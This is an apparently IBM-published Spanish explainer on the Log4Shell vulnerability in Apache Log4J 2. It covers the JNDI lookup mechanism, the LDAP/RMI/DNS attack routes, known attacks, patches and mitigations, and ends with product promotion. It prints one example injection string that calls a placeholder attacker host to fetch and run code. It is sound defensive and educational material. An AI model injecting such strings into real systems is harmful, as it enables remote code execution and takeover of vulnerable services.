Log4Shell, también conocida como vulnerabilidad Log4J, es una vulnerabilidad de ejecución remota de código (RCE) en algunas versiones de la biblioteca Java de Apache Log4J 2. Log4Shell permite a los hackers ejecutar prácticamente cualquier código que deseen en los sistemas afectados, lo que básicamente les otorga el control total de aplicaciones y dispositivos.
Log4Shell (Common Vulnerabilities and Exposures Identificador CVE: CVE-2021-44228) tiene una puntuación CVSS (Common Vulnerability Scoring System) de 10, lo que denota una vulnerabilidad crítica. Se considera una de las vulnerabilidades más peligrosas de la historia por su amplio alcance y sus consecuencias potencialmente devastadoras.
Se estima que el 10 % de todos los activos digitales (el enlace externo a ibm.com), incluidas las aplicaciones web, los servicios en la nube y los endpoints físicos como los servidores, eran vulnerables a Log4Shell en el momento de su descubrimiento.. Los hackers pueden utilizar Log4Shell para hacer casi cualquier cosa: robar datos (exfiltración de datos), instalar ransomware, capturar dispositivos para botnets y mucho más.
Los investigadores de seguridad en la nube descubrieron Log4Shell por primera vez en noviembre de 2021. Apache publicó un parche en diciembre de 2021, y todas las versiones de Log4J a partir de la 2.17.1 están libres de Log4Shell y sus vulnerabilidades asociadas. Sin embargo, la Agencia de Ciberseguridad y Seguridad de las Infraestructuras (CISA) informa de que Log4Shell sigue figurando entre las vulnerabilidades más comúnmente explotadas (enlace externo a ibm.com). Log4J está omnipresente en la cadena de suministro de software, por lo que encontrar y corregir cada instancia vulnerable puede llevar años.
Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red, que se comentan con más detalle a continuación.
Obtenga conocimientos para gestionar mejor el riesgo de una vulneración de datos con el último informe "Coste de una filtración de datos".
Regístrese para obtener el X-Force Threat Intelligence Index
Log4Shell afecta a Log4J, una biblioteca de registro de código abierto mantenida por la Apache Software Foundation. Log4J es un registrador, un componente de software que registra información y eventos en un programa, como mensajes de error y entradas de usuario.
Log4J no es un programa independiente, sino un paquete de código que los desarrolladores pueden incorporar a sus aplicaciones Java en lugar de crear registradores desde cero. Grandes organizaciones como Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco y muchas otras utilizan Log4J en sus programas y servicios.
Log4Shell es el resultado de cómo las versiones vulnerables de Log4J manejan dos características relacionadas: búsquedas JNDI (Java Naming and Directory Interface)) y sustituciones de búsqueda de mensajes. Cada función por sí sola sería inofensiva, pero la interacción entre ellas proporciona a los hackers un arma potente.
JNDI es una interfaz de programación de aplicaciones (API) que utilizan las aplicaciones Java para acceder a los recursos alojados en servidores externos. Una búsqueda JNDI es un comando que indica a la aplicación que vaya a un servidor y descargue un objeto específico, como un dato o un script. Las versiones anteriores de Log4J 2 ejecutan automáticamente cualquier código descargado de esta manera.
La sustitución de búsqueda de mensajes permite a los usuarios y aplicaciones enviar variables a Log4J dentro de los mensajes de registro utilizando una sintaxis específica: ${prefix:name}. Cuando Log4J encuentra esta sintaxis, resuelve la variable y guarda el valor en el registro. Por ejemplo, si Log4J recibió un mensaje que decía
${java:version}
averiguaría la versión actual de Java que se está ejecutando en el dispositivo. En el registro, grabaría: "Java version X.XX."
Dicho de otro modo, Log4J no trata las sustituciones de búsqueda de mensajes como texto sin formato. Las trata como comandos y actúa en función de lo que digan. Los hackers pueden aprovecharse de este hecho para enviar comandos de búsqueda JNDI maliciosos a aplicaciones que ejecuten versiones vulnerables de Log4J. Por ejemplo, un hacker podría enviar a Log4J una cadena como esta:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Cuando Log4J recibió este mensaje, resolvió la variable accediendo al servidor de myevilwebsite.biz y descargando el objeto ubicado en /maliciouscode. Este proceso llevaría a Log4J a ejecutar cualquier código Java que el hacker hubiera escondido en esa ubicación, normalmente malware.
Los hackers pueden utilizar protocolos estándar para activar Log4Shell, lo que facilita que el tráfico malicioso eluda la detección. La mayoría de los ataques de Log4Shell utilizan uno de los siguientes protocolos: Protocolo ligero de acceso a directorios (LDAP); Invocación de método remoto (RMI); o Sistema de nombres de dominio (DNS).
LDAP se utiliza para almacenar datos en una ubicación central a la que pueden acceder distintas aplicaciones y servicios. LDAP es el método más utilizado por los hackers para explotar Log4Shell. Un ataque típico funciona de la siguiente manera:
- El hacker configura un servidor LDAP y almacena código malicioso en él.
- El hacker envía una búsqueda JNDI a un programa utilizando Log4J.
- La búsqueda JNDI hace que el programa llegue al servidor LDAP del atacante, descargue la carga útil y ejecute el código.
RMI es una característica de Java que permite a una aplicación de un dispositivo decirle a otra aplicación de otro dispositivo que haga algo, como compartir información o realizar una función.
Los ataques RMI funcionan más o menos de la misma manera que los ataques LDAP: los hackers configuran un servidor RMI, engañan al objetivo para que se conecte a su servidor y envían comandos maliciosos de vuelta al objetivo.
Los ataques RMI no son muy comunes, pero algunos hackers (enlace externo a ibm.com) están cambiando a RMI porque cada vez más organizaciones están bloqueando el tráfico LDAP por completo.
Los piratas informáticos utilizan DNS para buscar objetivos. Envían una búsqueda JNDI a un programa, indicándole que se conecte a un servidor DNS que los hackers controlan. Si el servidor DNS registra una conexión del programa, los hackers saben que el sistema es vulnerable a nuevos intentos de explotación de Log4Shell.
Dado que Log4Shell permite a los hackers ejecutar código arbitrario, los ciberdelincuentes pueden utilizar el fallo para lanzar diversos ataques. Log4Shell también era una vulnerabilidad de día cero en el momento de su descubrimiento, lo que significa que los piratas informáticos tenían ventaja para explotarla.
Algunos de los primeros ataques de Log4Shell infectaron ordenadores con cryptojackers, un tipo de malware que utiliza un dispositivo para minar criptomonedas sin el conocimiento del propietario. La botnet Mirai también ha utilizado el fallo para hacerse con el control de dispositivos.
Múltiples ataques de ransomware han aprovechado Log4Shell. Los más destacados incluyen la cepa Khonsari, que se propagó a través del videojuego Minecraft, y NightSky, que se dirigió a los sistemas que ejecutan VMware Horizon.
Los intermediarios de acceso han utilizado Log4Shell para establecer puntos de apoyo en redes corporativas de alto valor, a menudo soltando secretamente troyanos de acceso remoto (RAT) en los sistemas comprometidos. Los corredores de acceso luego venden estos puntos de apoyo a afiliados de ransomware como servicio u otros piratas informáticos en la dark web.
Mientras Apache trabajaba en parchear Log4Shell tras su descubrimiento, salieron a la luz un puñado de fallos relacionados. Finalmente, se necesitaron cuatro parches para corregir Log4Shell y todas las vulnerabilidades asociadas.
El primer parche que publicó Apache, Log4J versión 2.15.0, cerraba gran parte de la vulnerabilidad de Log4Shell. Sin embargo, los piratas informáticos aún podían enviar búsquedas JNDI maliciosas a sistemas que utilizasen determinadas configuraciones no predeterminadas. Apache solucionó este fallo con la versión 2.16.0 de Log4J.
La versión 2.16.0 también resultó estar incompleta. Los hackers podían utilizar búsquedas de mensajes maliciosos para enviar sistemas vulnerables a recursiones infinitas, lo que provocaba ataques de denegación de servicio. Apache lanzó la versión 2.17 para corregir este fallo.
Menos grave que los demás, este fallo permitía a los hackers ejecutar código de forma remota, pero primero necesitaban obtener permisos elevados y cambiar las configuraciones de registro. Apache solucionó este problema con un cuarto parche, Log4J versión 2.17.1.
Los investigadores de seguridad recomiendan encarecidamente que las organizaciones den prioridad a la actualización de todas las instancias de Log4J en sus redes a la última versión, o al menos a la versión 2.17.1. La aplicación de parches es la única forma de corregir Log4Shell por completo.
Sin embargo, es posible que los equipos de seguridad no puedan parchear inmediatamente todas las instancias de Log4J en sus redes. Las instalaciones vulnerables de Log4J a menudo están presentes como dependencias indirectas, lo que significa que los activos de la empresa no utilizan Log4J, pero dependen de otras aplicaciones y servicios que sí lo hacen. Según Google (enlace externo a ibm.com), la mayoría de las instancias vulnerables de Log4J tienen más de un nivel de profundidad, y algunas llegan a tener hasta nueve niveles.
Cuando Log4J es una dependencia indirecta, resulta mucho más difícil para los equipos de seguridad localizarla. Cuando la encuentran, es posible que no puedan parchearla, dependiendo de dónde se encuentre. Si Log4J está oculto en un paquete de software utilizado por una aplicación de terceros, el equipo de seguridad necesitará que el proveedor actualice Log4J por su parte.
Incluso cuando Log4J está presente como una dependencia directa, puede ser difícil de detectar. Hoy en día, el proceso de desarrollo de software es muy complejo y se basa en grandes equipos y grandes cantidades de código preexistente. Es posible que los desarrolladores no se den cuenta de que sus aplicaciones contienen versiones vulnerables de Log4J, ya que esas instancias pueden estar dentro de paquetes de software preescritos que los desarrolladores no codificaron ellos mismos.
En diciembre de 2022, el 25 % de las descargas de Log4J (enlace externo a ibm.com) seguían siendo vulnerables a Log4Shell, lo que significa que la gente está utilizando versiones obsoletas de Log4J para crear nuevos activos.
Log4J se utiliza tan ampliamente en la cadena de suministro de software que encontrar y reparar cada instancia vulnerable llevará al menos una década, según el Departamento de Seguridad Nacional de EE. UU. (enlace externo a ibm.com).
Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red.
Los equipos de seguridad pueden deshabilitar las sustituciones de búsqueda de mensajes en Log4J, haciendo que Log4J trate los mensajes de los hackers como texto plano y no como comandos a ejecutar.
Hay dos maneras de hacerlo: cambiando la propiedad del sistema "Log4J2.formatMsgNoLookups" a "true" o estableciendo el valor de la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS a "true".
Tenga en cuenta que las versiones no parcheadas de Log4J todavía sufren de CVE-2021-45046, que permite a los hackers enviar búsquedas JNDI maliciosas cuando se utilizan ciertas configuraciones no predeterminadas. Por lo tanto, prohibir las búsquedas de mensajes no es infalible.
Las aplicaciones Java utilizan clases para definir lo que puede hacer un programa. En Log4J, la clase "JNDIlookup" rige las búsquedas JNDI. Si esta clase se elimina del directorio de clases de Log4J, también conocido como la ruta de clases, ya no se pueden realizar búsquedas JNDI.
Deshabilitar las búsquedas JNDI evita que los hackers envíen comandos maliciosos, pero también puede afectar a otras funciones de Log4J y las aplicaciones que lo utilizan. También puede resultar difícil garantizar que se eliminen todas las instancias de la clase.
Las organizaciones pueden utilizar firewalls y otras herramientas de ciberseguridad para bloquear el tráfico desde activos vulnerables orientados a Internet hacia servidores controlados por atacantes. Por ejemplo, los equipos de seguridad podrían establecer reglas para no permitir todas las conexiones que utilicen protocolos LDAP o RMI.
Bloquear el tráfico saliente en lugar del entrante ayuda a evitar falsos positivos, ya que los proveedores y los investigadores de seguridad pueden estar explorando activos para encontrar instancias persistentes y sin parches.
La desventaja es que los cortafuegos pueden bloquear o frustrar las conexiones salientes necesarias, especialmente si una organización utiliza LDAP o RMI por razones legítimas.
Supere los ataques con una suite de seguridad conectada y modernizada. La cartera de QRadar integrada IA de nivel empresarial y ofrece productos integrados para seguridad de puntos finales, administración de registros, SIEM y SOAR, todo con una interfaz de usuario común, información compartida y flujos de trabajo conectados.
Tanto si se implementan en las instalaciones como en una nube híbrida, las soluciones de seguridad de datos de IBM le ayudan a obtener visibilidad y conocimientos para investigar y remediar las ciberamenazas, aplicar controles en tiempo real y gestionar la conformidad normativa.
La investigación proactiva de amenazas, la supervisión continua y el examen en profundidad de las mismas son sólo algunas de las prioridades a las que se enfrenta un departamento de TI ya de por sí muy ocupado. Contar con un equipo de respuesta a incidentes de confianza puede reducir su tiempo de respuesta, minimizar el impacto de un ciberataque y ayudarle a recuperarse más rápidamente.
Un ataque informático (también llamado ciberataque) es el uso de medios no convencionales o ilícitos para obtener acceso no autorizado a un dispositivo digital, sistema informático o red informática.
El software malicioso, o malware, es cualquier programa diseñado para dañar los sistemas informáticos o a sus usuarios, como el ransomware, los troyanos y el spyware.